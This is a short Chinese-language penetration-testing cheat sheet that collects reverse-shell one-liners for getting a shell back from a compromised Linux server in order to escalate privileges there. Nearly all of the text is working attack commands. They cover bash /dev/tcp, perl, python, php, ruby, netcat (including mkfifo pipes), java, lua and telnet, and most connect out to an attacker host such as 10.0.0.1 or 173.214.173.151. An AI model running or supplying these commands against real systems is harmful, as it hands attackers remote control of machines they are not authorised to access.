大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,今天再告诉大家几种方法,国外大牛和国内大牛整理的,希望大家喜欢。
bash版本:
1 | bash -i >& /dev/tcp/10 .0.0.1 /8080 0>&1 |
注意这个是由解析shell的bash完成,所以某些情况下不支持
perl版本:
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python版本:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php版本:
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby版本:
1 | ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc版本:
1 | nc -e /bin/sh 10.0.0.1 1234 |
2 | rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1|nc 10.0.0.1 1234 > /tmp/f |
3 | nc x.x.x.x 8888| /bin/sh |nc x.x.x.x 9999 |
java版本
1 | r = Runtime.getRuntime() |
2 | p = r. exec ([ "/bin/bash" , "-c" , "exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done" ] as String[]) |
lua版本:
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
nc不使用-e:
01 | Hacker:nc -lvnp listenport |
02 | Victim: mknod /tmp/backpipe p |
03 | Victim: /bin/sh 0< /tmp/backpipe | nc attackerip listenport 1> /tmp/backpipe |
07 | Victim: /bin/bash -i > /dev/tcp/173 .214.173.151 /8080 0<&1 2>&1 |
10 | Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe |
14 | Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888 |
参考文章:
http://zone.wooyun.org/content/5064
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet